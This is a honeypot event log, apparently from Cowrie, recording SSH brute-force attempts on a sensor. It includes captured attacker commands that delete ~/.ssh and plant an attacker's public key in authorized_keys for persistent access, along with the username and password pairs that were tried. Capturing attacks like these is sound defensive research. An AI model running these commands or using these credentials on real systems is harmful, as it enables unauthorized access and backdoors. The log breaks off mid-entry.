{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:83:3a:1a:c6:f3:07:ea:d8:26:5e:73:9c:41:dd:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJx2lPTd+c0431LjkRQoXGII76R8xOOCuA2bIIw2TaeBNLLv3fz9cHnx2GghYBjf08ZtLJNmTQPw59CSHf/KIeVUfZjOhL8FYcktKWHx4v5j1ah//HFqr7kotdbJFoSDasMCuL745ktIiDYUsjP1++ad277QG/eU5w3rIOt8p8GdNd8j7y03eKVbAZNP8XDC89I55bGcZ/MB5IsqagTulcd+YM/yR7ufVu90EmgzKPUEOsIMgE7vEZgO1LjxKRJFGIgoZpsm274OoTpY9T56Etl0B+Au3vdKVtQVobb6aHgxHRgyw+og2Kqw3BTsx8usdOtguFuK3eWrK/kjop0lhh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:23.623698Z","src_ip":"170.238.136.42","session":"ce436d86c789","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:56:8e:65:3f:5f:47:38:49:ca:9e:4c:7c:ec:2e:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1sNJ+e0lDq7X5MzAdItMrZuOYyUco0f+VtnxOFDcL7VcLMK4L/SzS5TRSdbj4cTc+ivIWHQ5y/jmcQePG99GWNBwzsMeck5m2X5SLhkfQos4e6IoZY8CGW6y7rjU6OLFlip/OQTwDNHrlE4HFCt88g+ontr0B/IHeDDy0DBGjbTEcLjAxt/NBXTjszBvcRhjTc709KBnQjOlYNiH/5Z8qX+MDUvqI7r9GmMdoSfg9h8mryTkcwxJV6UN1u9uhOgbljNsJU2Ms8hoUNaBSQNtkJ4d5oePlrP02etFTKY95OrBZQew3EUaH8wJDoa/3gJpQC9rJeDuAtnUg9GwjeaWvQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:56:8e:65:3f:5f:47:38:49:ca:9e:4c:7c:ec:2e:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:23.739110Z","src_ip":"170.238.136.42","session":"ce436d86c789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:56:8e:65:3f:5f:47:38:49:ca:9e:4c:7c:ec:2e:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1sNJ+e0lDq7X5MzAdItMrZuOYyUco0f+VtnxOFDcL7VcLMK4L/SzS5TRSdbj4cTc+ivIWHQ5y/jmcQePG99GWNBwzsMeck5m2X5SLhkfQos4e6IoZY8CGW6y7rjU6OLFlip/OQTwDNHrlE4HFCt88g+ontr0B/IHeDDy0DBGjbTEcLjAxt/NBXTjszBvcRhjTc709KBnQjOlYNiH/5Z8qX+MDUvqI7r9GmMdoSfg9h8mryTkcwxJV6UN1u9uhOgbljNsJU2Ms8hoUNaBSQNtkJ4d5oePlrP02etFTKY95OrBZQew3EUaH8wJDoa/3gJpQC9rJeDuAtnUg9GwjeaWvQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:23.742821Z","src_ip":"170.238.136.42","session":"ce436d86c789","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:76:19:ce:5f:19:cc:60:c8:6d:36:90:1f:53:c4:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvW9zcGuZ7d4V4aG9dRnE9q3y4IBe9qxa9e7LEb6TmkeOWRvzBJKbUP2/uAwh5h/i55+iBPFJoCNszfQt+62Sn/x3HSgVhPFxqEh5NRTkRFU9s8wmVqozmuYTpxjfIqYet+4mOWIcpvp29V8ZXQBN/aS2uj5C/SdhQ3LeVX1aXKSp0nXeKpGEX348+ZWVY02SfaVu6rxR0lPmmVHtNDOnPBSTsRm7LbUIl6swS7t9j0IM13DIpOPd5Be+BBG1VTHfetXs+51l+1wa3wurAXhng+jGXZEQPu8C40ao0hYrdHF0c4LNnB0zSxFAo/V4Gz/P6/gw7UrVm+A7rhWNsEyUd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:76:19:ce:5f:19:cc:60:c8:6d:36:90:1f:53:c4:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:23.856062Z","src_ip":"170.238.136.42","session":"ce436d86c789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:76:19:ce:5f:19:cc:60:c8:6d:36:90:1f:53:c4:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvW9zcGuZ7d4V4aG9dRnE9q3y4IBe9qxa9e7LEb6TmkeOWRvzBJKbUP2/uAwh5h/i55+iBPFJoCNszfQt+62Sn/x3HSgVhPFxqEh5NRTkRFU9s8wmVqozmuYTpxjfIqYet+4mOWIcpvp29V8ZXQBN/aS2uj5C/SdhQ3LeVX1aXKSp0nXeKpGEX348+ZWVY02SfaVu6rxR0lPmmVHtNDOnPBSTsRm7LbUIl6swS7t9j0IM13DIpOPd5Be+BBG1VTHfetXs+51l+1wa3wurAXhng+jGXZEQPu8C40ao0hYrdHF0c4LNnB0zSxFAo/V4Gz/P6/gw7UrVm+A7rhWNsEyUd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:23.860036Z","src_ip":"170.238.136.42","session":"ce436d86c789","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:6c:72:aa:66:82:db:46:bf:e5:6d:33:5a:1d:c8:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYsGVdhrgeqS4/yiIBNML7vF9EnSEDPI+0ZXMSH5crypJEu++zawaDTxhZn8fIpRA1kwN31rrHPDC3rFLxc4zxjJdt0JkjkphgboIlvLydj1xBRaS3aV2zojhS/oBVxjEQYLd2TjwTmCopodRziY8bZKgLPkcp2TxQrCd13m9SDSZi2DcMVE70KO4UC+jvbmAjPWJqpO5b85Z4YqbxmU/z+cQ/KwtSVt+JBPO+2guKoFDlZaBIgk56rwbS2wQJecVWKOUDy3023kj1cL+kYhcOWIBIevX/LIthWFWbYTeOePeIyGMW6czROWTKN8TPTBs0qYyLEvsztiTTktDcDjSJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:6c:72:aa:66:82:db:46:bf:e5:6d:33:5a:1d:c8:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:23.973655Z","src_ip":"170.238.136.42","session":"ce436d86c789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:6c:72:aa:66:82:db:46:bf:e5:6d:33:5a:1d:c8:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYsGVdhrgeqS4/yiIBNML7vF9EnSEDPI+0ZXMSH5crypJEu++zawaDTxhZn8fIpRA1kwN31rrHPDC3rFLxc4zxjJdt0JkjkphgboIlvLydj1xBRaS3aV2zojhS/oBVxjEQYLd2TjwTmCopodRziY8bZKgLPkcp2TxQrCd13m9SDSZi2DcMVE70KO4UC+jvbmAjPWJqpO5b85Z4YqbxmU/z+cQ/KwtSVt+JBPO+2guKoFDlZaBIgk56rwbS2wQJecVWKOUDy3023kj1cL+kYhcOWIBIevX/LIthWFWbYTeOePeIyGMW6czROWTKN8TPTBs0qYyLEvsztiTTktDcDjSJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:23.977492Z","src_ip":"170.238.136.42","session":"ce436d86c789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:24.090656Z","src_ip":"170.238.136.42","session":"ce436d86c789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":59772,"dst_ip":"159.203.135.109","dst_port":22,"session":"74b4f2e0862b","protocol":"ssh","message":"New connection: 201.6.100.191:59772 (159.203.135.109:22) [session: 74b4f2e0862b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:31.319374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:31.323885Z","src_ip":"201.6.100.191","session":"74b4f2e0862b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:31.458278Z","src_ip":"201.6.100.191","session":"74b4f2e0862b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:32.007417Z","src_ip":"201.6.100.191","session":"74b4f2e0862b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:32.308074Z","src_ip":"201.6.100.191","session":"74b4f2e0862b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:32.311446Z","src_ip":"201.6.100.191","session":"74b4f2e0862b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:32.315622Z","src_ip":"201.6.100.191","session":"74b4f2e0862b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:32.445722Z","src_ip":"201.6.100.191","session":"74b4f2e0862b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:32.750295Z","src_ip":"201.6.100.191","session":"74b4f2e0862b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:32.753724Z","src_ip":"201.6.100.191","session":"74b4f2e0862b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:32.893579Z","src_ip":"201.6.100.191","session":"74b4f2e0862b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:32.898200Z","src_ip":"201.6.100.191","session":"74b4f2e0862b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":60172,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc75bcbc59e7","protocol":"ssh","message":"New connection: 201.6.100.191:60172 (159.203.135.109:22) [session: fc75bcbc59e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:33.017686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:33.022738Z","src_ip":"201.6.100.191","session":"fc75bcbc59e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:33.148261Z","src_ip":"201.6.100.191","session":"fc75bcbc59e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:33.689430Z","src_ip":"201.6.100.191","session":"fc75bcbc59e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:34.818906Z","src_ip":"201.6.100.191","session":"fc75bcbc59e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":60624,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c65b40d4513","protocol":"ssh","message":"New connection: 201.6.100.191:60624 (159.203.135.109:22) [session: 5c65b40d4513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:34.947978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:34.956660Z","src_ip":"201.6.100.191","session":"5c65b40d4513","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:35.086946Z","src_ip":"201.6.100.191","session":"5c65b40d4513","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:35.661010Z","src_ip":"201.6.100.191","session":"5c65b40d4513","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:35.804712Z","src_ip":"201.6.100.191","session":"74b4f2e0862b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:35.808856Z","src_ip":"201.6.100.191","session":"5c65b40d4513","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":33270,"dst_ip":"159.203.135.109","dst_port":22,"session":"4333a0fd34ea","protocol":"ssh","message":"New connection: 43.173.69.147:33270 (159.203.135.109:22) [session: 4333a0fd34ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:18:49.082306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:18:49.087267Z","src_ip":"43.173.69.147","session":"4333a0fd34ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:18:49.155994Z","src_ip":"43.173.69.147","session":"4333a0fd34ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshuser","password":"root","message":"login attempt [sshuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:18:49.460823Z","src_ip":"43.173.69.147","session":"4333a0fd34ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:18:50.533432Z","src_ip":"43.173.69.147","session":"4333a0fd34ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43222,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4ed4f885087","protocol":"ssh","message":"New connection: 2.57.122.208:43222 (159.203.135.109:22) [session: d4ed4f885087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:19:48.121329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:19:48.130540Z","src_ip":"2.57.122.208","session":"d4ed4f885087","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-ce